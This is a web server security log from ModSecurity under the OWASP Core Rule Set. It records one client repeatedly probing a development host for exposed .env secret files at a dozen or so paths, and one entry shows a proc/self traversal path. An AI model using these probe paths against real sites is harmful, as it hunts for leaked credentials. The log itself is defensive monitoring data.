[Fri Jul 17 09:14:08.215442 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlCCRF0UOO1RzB5_8xKwAAAA4"]
[Fri Jul 17 09:14:08.383755 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.json"] [unique_id "almlCARRrtuZqNDDSqWzHgAAABo"]
[Fri Jul 17 09:14:08.384005 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.json"] [unique_id "almlCARRrtuZqNDDSqWzHgAAABo"]
[Fri Jul 17 09:14:08.384289 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlCARRrtuZqNDDSqWzHgAAABo"]
[Fri Jul 17 09:14:08.583949 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.yaml"] [unique_id "almlCEgVnBK6wAv37w6vlgAAABQ"]
[Fri Jul 17 09:14:08.584240 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.yaml"] [unique_id "almlCEgVnBK6wAv37w6vlgAAABQ"]
[Fri Jul 17 09:14:08.584518 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlCEgVnBK6wAv37w6vlgAAABQ"]
[Fri Jul 17 09:14:08.754824 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.yml"] [unique_id "almlCJBVIrrUwtEhdafT-QAAAAU"]
[Fri Jul 17 09:14:08.755253 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.yml"] [unique_id "almlCJBVIrrUwtEhdafT-QAAAAU"]
[Fri Jul 17 09:14:08.755763 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlCJBVIrrUwtEhdafT-QAAAAU"]
[Fri Jul 17 09:14:08.815457 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:08.815964 2026] [core:crit] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/lib64/mysql/plugin/auth_pam_tool_dir/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/lib64/mysql/plugin/auth_pam_tool_dir/' is executable
[Fri Jul 17 09:14:08.923102 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/app/.env"] [unique_id "almlCA5GPQ6hs4VrfMpE1wAAAAY"]
[Fri Jul 17 09:14:08.923391 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/app/.env"] [unique_id "almlCA5GPQ6hs4VrfMpE1wAAAAY"]
[Fri Jul 17 09:14:08.923688 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlCA5GPQ6hs4VrfMpE1wAAAAY"]
[Fri Jul 17 09:14:09.092427 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/apps/.env"] [unique_id "almlCfwooI4qY7Jg93pYgwAAABM"]
[Fri Jul 17 09:14:09.092838 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/apps/.env"] [unique_id "almlCfwooI4qY7Jg93pYgwAAABM"]
[Fri Jul 17 09:14:09.093320 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlCfwooI4qY7Jg93pYgwAAABM"]
[Fri Jul 17 09:14:09.265117 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/api/.env"] [unique_id "almlCVh1WDijTxd1xw5PYgAAAAc"]
[Fri Jul 17 09:14:09.265358 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/api/.env"] [unique_id "almlCVh1WDijTxd1xw5PYgAAAAc"]
[Fri Jul 17 09:14:09.265626 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlCVh1WDijTxd1xw5PYgAAAAc"]
[Fri Jul 17 09:14:09.321001 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:09.434783 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/web/.env"] [unique_id "almlCa14q1EBnanVMYGm6QAAAAk"]
[Fri Jul 17 09:14:09.435155 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/web/.env"] [unique_id "almlCa14q1EBnanVMYGm6QAAAAk"]
[Fri Jul 17 09:14:09.435529 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlCa14q1EBnanVMYGm6QAAAAk"]
[Fri Jul 17 09:14:09.608865 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/site/.env"] [unique_id "almlCfwooI4qY7Jg93pYhAAAABM"]
[Fri Jul 17 09:14:09.609138 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/site/.env"] [unique_id "almlCfwooI4qY7Jg93pYhAAAABM"]
[Fri Jul 17 09:14:09.609459 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlCfwooI4qY7Jg93pYhAAAABM"]
[Fri Jul 17 09:14:09.727439 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:09.780489 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/public/.env"] [unique_id "almlCYe39YUk0SgV8AU9JAAAABE"]
[Fri Jul 17 09:14:09.780886 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/public/.env"] [unique_id "almlCYe39YUk0SgV8AU9JAAAABE"]
[Fri Jul 17 09:14:09.781343 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlCYe39YUk0SgV8AU9JAAAABE"]
[Fri Jul 17 09:14:09.830148 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:09.999641 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/admin/.env"] [unique_id "almlCSRF0UOO1RzB5_8xLgAAAA4"]
[Fri Jul 17 09:14:10.000092 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/admin/.env"] [unique_id "almlCSRF0UOO1RzB5_8xLgAAAA4"]
[Fri Jul 17 09:14:10.000550 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlCSRF0UOO1RzB5_8xLgAAAA4"]
[Fri Jul 17 09:14:10.179153 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/backend/.env"] [unique_id "almlCrEWOaI5pmYo9fnRugAAAAA"]
[Fri Jul 17 09:14:10.179409 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/backend/.env"] [unique_id "almlCrEWOaI5pmYo9fnRugAAAAA"]
[Fri Jul 17 09:14:10.179703 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlCrEWOaI5pmYo9fnRugAAAAA"]
[Fri Jul 17 09:14:10.361705 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/server/.env"] [unique_id "almlCrEKozcCJ-ReuK0F2QAAAAg"]
[Fri Jul 17 09:14:10.362084 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/server/.env"] [unique_id "almlCrEKozcCJ-ReuK0F2QAAAAg"]
[Fri Jul 17 09:14:10.362607 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlCrEKozcCJ-ReuK0F2QAAAAg"]
[Fri Jul 17 09:14:10.419952 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env"] [unique_id "almlCoe39YUk0SgV8AU9JQAAABE"]
